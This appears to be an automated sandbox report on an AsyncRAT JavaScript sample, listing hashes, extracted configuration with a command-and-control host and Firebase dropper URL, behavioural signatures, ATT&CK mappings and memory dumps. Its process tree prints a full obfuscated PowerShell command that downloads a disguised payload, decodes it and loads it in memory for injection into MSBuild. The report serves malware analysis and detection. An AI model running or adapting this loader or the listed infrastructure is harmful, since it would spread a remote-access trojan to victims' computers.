asyncrat | ae1ad65e83df83eacaa209e97e6c54c2a5459915f87a661370b5c0751ac8140e

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 23:18

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General

Target
ae1ad65e83df83eacaa209e97e6c54c2a5459915f87a661370b5c0751ac8140e.js
Size 306KB
Sample260817-3apdes1gpg
SHA256 ae1ad65e83df83eacaa209e97e6c54c2a5459915f87a661370b5c0751ac8140e
MD5 69d7cf69e96cd294b8a19afc347e7f45
SHA1 9ee0cbf1e33912cea94eb402f9d0ea188a966553
SHA512 913f64251561f86dc5b8128d6a96ab76efe0d388c74182c4bc80cfa1254844cc98726067ed419c489f9ea88aded2b02b4847185864270d5f970174b3d780b0ed
SSDEEP 6144:98QvY1LgYoQSCpAi8SQxzpdKrsjOWIWaV78IC8e24/4R/oY9TMC8LDpf:9qWLDpf
TLSH
T16E64B1405A92539661A65260CF3F324BBEECCBB14AC1CFCC6779C63A7B50643C26D4DA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

riv discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fformidabl.png?alt=media&token=7ab044da-6b3a-4733-88af-05e861acd23a

Extracted

Family

asyncrat

Version

1.0.7

Botnet

acwacw54336.dynuddns.net:6662

Mutex

asasksakASASA

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4960	1252	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4960	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4960 set thread context of 1108	4960	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4960	powershell.exe
4960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	1108	MSBuild.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 1108	4960	powershell.exe	92
PID 4960 wrote to memory of 1108	4960	powershell.exe	92
PID 4960 wrote to memory of 1108	4960	powershell.exe	92
PID 4960 wrote to memory of 1108	4960	powershell.exe	92
PID 4960 wrote to memory of 1108	4960	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ae1ad65e83df83eacaa209e97e6c54c2a5459915f87a661370b5c0751ac8140e.js
1⤵
PID:4396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$porcelanite=''https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/trafic%2Fformidabl.png?alt=media&token=7ab044da-6b3a-4733-88af-05e861acd23a''; $tachysterol = [System.Net.HttpWebRequest]::Create($porcelanite); $tachysterol.UserAgent = ''Mozilla/5.0''; $taskers = $tachysterol.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($taskers); $asperly = $reader.ReadtoEnd(); $multisized=''IN-''; $Haidario=''-in1''; $occipitomental=[string]::IndexOf($asperly, $multisized); $inexpiably=$asperly.LastIndexOf($Haidario); if($occipitomental -eq -1 -or $inexpiably -eq -1){return}; $orthobenzoates=$occipitomental+$multisized.Length; $impulse=$asperly.Substring($asperly.IndexOf($multisized)+$multisized.Length, $inexpiably-($asperly.IndexOf($multisized)+$multisized.Length)); $admonition=$impulse.Replace(''*'',''A'').ToCharArray(); $polyache = -join $admonition[($admonition.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($polyache)); $regathered=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $landgrabbers=$regathered.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $resmudge=(''eG2r9LLRhEidPy820aqX2Gp20xKFFIn1na3ktruIweHGOYtwdxRqzgWAIHBD6ECXZDGnzO4VC6cZWTexBAS25d4JdUx+9zOBZMXC68++wLvnLYM3elfZ34ubS03e3RKY4GBitcR7hSlbf1SsUKK7MRf/OveRRJt9n2XZ30pHO+5IxgUbzlPvzNboulABym1t/Fk6abY8j6HfbhRNToAYmNZpQCaCyewBoitFXdxi920='','''',''EoqGlxClWtBM9fm/8TcfpKXwEGMMFPG6lBbrSRyHcpbQde+Pd6IcjdiY+fml5CTc'',''JL+xA6IS5Novpx1zPQb+tIXqMDX9HPNWuRbPsQk6uxI='',''9TrG2SmM9WzCRnViY+X5Df0S4mahevkkIp4Jv+ABY50='','''',''exGKGr51iQvlI6GhE3eAq4G5fGrlysgS980ZM17Lb4U='','''','''',''GgIfzv0Wlp6Ln/FKAgn5jgo7hyBl4jSuDGQlFOdBqbPZGyjVqLvrP9tPIofe+Ro6'',''GpGa09EP/jlvNVx0shOL9mwv31In76YEy7VPYDqF14A='',''1NZ/PJmC/pMEJ0BZsanwFTLgPHoorJkx0O7JHkvQzZU='',''BsiT6uioQ7mZ8Q+JHtxqbeP/Qmg0/LR7q5F0Kq8KsI8='','''',''aVJjdI459oLheAFJynMSc8nqcqOA/0PFuuZ3RbvpONk='',''uVmXJDtsJU0FAK/NlZupgrZldzRHq448KbbUeBOgG6I='','''','''',''''); try{$earlobe=($landgrabbers.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($earlobe.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$resmudge)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1108

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1108-18-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/1108-27-0x0000000074FC2000-0x0000000074FC3000-memory.dmp

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memory/1108-26-0x00000000059D0000-0x0000000005A36000-memory.dmp

Download

memory/1108-25-0x0000000005F20000-0x00000000064DA000-memory.dmp

Download

memory/1108-24-0x0000000005550000-0x00000000055EC000-memory.dmp

Download

memory/1108-21-0x0000000074FC2000-0x0000000074FC3000-memory.dmp

Download

memory/4960-12-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-17-0x00000162C7F60000-0x00000162C7FC0000-memory.dmp

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memory/4960-10-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-11-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-0-0x00007FFCCB05F000-0x00007FFCCB060000-memory.dmp

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memory/4960-13-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-14-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-15-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-16-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-9-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-8-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-20-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-7-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-6-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-5-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-4-0x00007FFCCAED0000-0x00007FFCCB874000-memory.dmp

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memory/4960-3-0x00000162C7EC0000-0x00000162C7EE2000-memory.dmp

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